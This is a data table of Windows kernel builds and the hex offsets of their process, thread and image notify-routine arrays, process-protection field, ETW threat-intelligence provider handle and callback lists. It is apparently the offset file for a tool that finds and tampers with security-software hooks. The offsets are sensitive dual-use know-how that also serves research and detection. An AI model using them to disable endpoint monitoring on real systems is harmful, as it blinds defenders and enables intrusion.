ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50
ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50
ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50
ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50
ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50
ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50
ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50
ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50
ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50
ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50
ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50
ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50
ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50
ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50
ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50
ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50
ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50
ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50
ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50
ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50
ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50
ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50
ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50
ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50
ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50
ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50
ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60
ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60
ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50
ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60
ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50
ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50
ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50
ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50
ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50
ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50
ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50
ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50
ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50
ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50
ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50
ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60
ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60
ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60
ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60
ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60
ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60
ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50
ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60
ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60
ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60
ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60
ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60
ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60
ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60
ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60
ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50
ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50
ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50
ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50
ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50
ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50
ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50
ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50
ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50
ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50
ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50
ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50
ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50
ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50
ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60
ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60
ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60
ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60
ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60
ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60
ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60
ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60
ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60
ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60
ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60
ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60
ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60
ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60
ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60
ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60
ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60
ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60
ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60
ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60
ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60
ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60
ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60
ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60
ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60
ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60
ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60
ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60
ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60
ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60
ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60
ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60
ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60
ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60
ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60
ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60
ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60
ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60
ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60
ntoskrnl_14393-693.exe,33bca0,33baa0,33b8a0,6c2,0,20,50
ntoskrnl_19041-1.exe,cec0e0,cec2e0,cebee0,87a,c19898,20,60
ntoskrnl_9600-17031.exe,2e1a40,2e1840,2e1640,67a,0,10,50
ntoskrnl_9600-19321.exe,2dcb10,2dc910,2dc710,67a,0,20,50
ntoskrnl_9600-19376.exe,2dbb10,2db910,2db710,67a,0,20,50
ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50
ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60
ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60
ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60
ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60
ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38
ntoskrnl_14393-4771.exe,339e60,339c60,339a60,6ca,0,20,50
ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60
ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60
ntoskrnl_7601-25740.exe,21c500,21c2e0,21c0c0,0,0,20,50
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50
ntoskrnl_9200-23516.exe,2452a0,2454c0,2456e0,0,0,10,50
ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60
ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60
ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset,PsProcessType,PsThreadType,CallbackList
ntoskrnl_19041-1889.exe,cec060,cec460,cec260,87a,c19dd8,20,60,cfc410,cfc440,c8
ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8
ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8
ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8
ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8
ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8
ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cd228,3cd240,c8
ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8
ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8
ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8
ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8
ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8
ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
ntoskrnl_10240-19119.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8
ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8
ntoskrnl_10240-19086.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8
ntoskrnl_10240-19145.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8
